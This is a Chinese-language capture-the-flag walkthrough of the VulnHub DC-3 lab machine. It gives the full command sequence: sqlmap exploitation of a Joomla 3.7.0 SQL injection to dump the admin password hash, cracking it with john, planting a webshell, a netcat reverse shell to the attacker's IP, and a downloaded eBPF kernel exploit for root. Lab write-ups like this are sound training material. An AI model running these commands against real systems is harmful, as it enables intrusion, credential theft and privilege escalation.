DC3

靶机地址：https://www.vulnhub.com/entry/dc-32,312/

攻击者ip：192.168.56.108 桥接（自动） vmare

受害者ip：192.168.56.113 仅主机 vmbox

参考:https://blog.csdn.net/a310034188/article/details/122709729

主机发现

arp-scan

扫描端口，只开启了80

信息收集1

访问web页面，试了一下弱口令，sql注入，没成功

那就放在框架漏洞上，joomla

信息收集2

nikto --url http://192.168.56.113/

按照上面的扫描结果，先去/administrator/目录下去看看，发现了网站的后台，模板是Joomla

1.版本找漏洞

网站的CMS系统是Joomla。kali自带Joomla的扫描命令即Joomscan

joomscan -u 192.168.56.113

Joomla 3.7.0

searchsploit Joomla 3.7.0 查找版本漏洞

发现sql注入漏洞42033.txt

把localhost改成靶机地址，再加上--batch默认y            sqlmap -u "http://192.168.56.113/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch            

爆库

sqlmap -u "http://192.168.56.113/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch

[*] information_schema[*] joomladb[*] mysql[*] performance_schema[*] sys

爆表

sqlmap -u "http://192.168.56.113/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering] --batch

Database: joomladb[76 tables]+---------------------+| #__assets || #__associations || #__banner_clients || #__banner_tracks || #__banners || #__bsms_admin || #__bsms_books || #__bsms_comments || #__bsms_locations || #__bsms_mediafiles || #__bsms_message_typ || #__bsms_podcast || #__bsms_series || #__bsms_servers || #__bsms_studies || #__bsms_studytopics || #__bsms_teachers || #__bsms_templatecod || #__bsms_templates || #__bsms_timeset || #__bsms_topics || #__bsms_update || #__categories || #__contact_details || #__content_frontpag || #__content_rating || #__content_types || #__content || #__contentitem_tag_ || #__core_log_searche || #__extensions || #__fields_categorie || #__fields_groups || #__fields_values || #__fields || #__finder_filters || #__finder_links_ter || #__finder_links || #__finder_taxonomy_ || #__finder_taxonomy || #__finder_terms_com || #__finder_terms || #__finder_tokens_ag || #__finder_tokens || #__finder_types || #__jbsbackup_timese || #__jbspodcast_times || #__languages || #__menu_types || #__menu || #__messages_cfg || #__messages || #__modules_menu || #__modules || #__newsfeeds || #__overrider || #__postinstall_mess || #__redirect_links || #__schemas || #__session || #__tags || #__template_styles || #__ucm_base || #__ucm_content || #__ucm_history || #__update_sites_ext || #__update_sites || #__updates || #__user_keys || #__user_notes || #__user_profiles || #__user_usergroup_m || #__usergroups || #__users || #__utf8_conversion || #__viewlevels |+---------------------+

爆字段（列名）

sqlmap -u "http://192.168.56.113/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]

Database: joomladbTable: #__users[6 columns]+----------+-------------+| Column | Type |+----------+-------------+| email | non-numeric || id | numeric || name | non-numeric || params | non-numeric || password | non-numeric || username | non-numeric |+----------+-------------+

爆数据

qlmap -u "http://192.168.56.113/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "username,password" --dump -p list[fullordering]

+----------+--------------------------------------------------------------+            | username | password|            +----------+--------------------------------------------------------------+            | admin| $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |            +----------+--------------------------------------------------------------+            

创建pwd.txt把密码塞进去

使用john破解密码

john pwd.txt

admin/snoopy

不要在index登录，这应该是个坑，没找到能利用的漏洞

http://192.168.56.113/administrator/

index.php添加一句马

访问http://192.168.56.113/index.php

蚁剑上线

可以判断为Ubuntu 16.04 LTS 内核为Linux 4.4.0-21

cat /etc/*release#查看发行版信息            cat /proc/version#查看内核版本的全部信息            

反弹shell，之前index.php可以直接写反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.108 1111 >/tmp/f            nc -nvlp 1111            python -c "import pty;pty.spawn('/bin/bash')"            //使用python 弄交互式页面            

查看kali本地漏洞库里面的exp

searchsploit Ubuntu 16.04

发现39772.txt可以利用

https://www.exploit-db.com/exploits/39772

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

39772.zip塞进dc3

unzip 39772.zip#解压39772.zip            cd 39772#进入39772            tar -xvf exploit.tar#解压缩exploit.tar            cd ebpf_mapfd_doubleput_exploit进入 ebpf_mapfd_doubleput_exploit 运行exp            chmod 777 compile.shchmod 777 doubleput            ./compile.sh            ./doubleput            

拿到flag

原文始发于微信公众号（王之暴龙战神）：DC3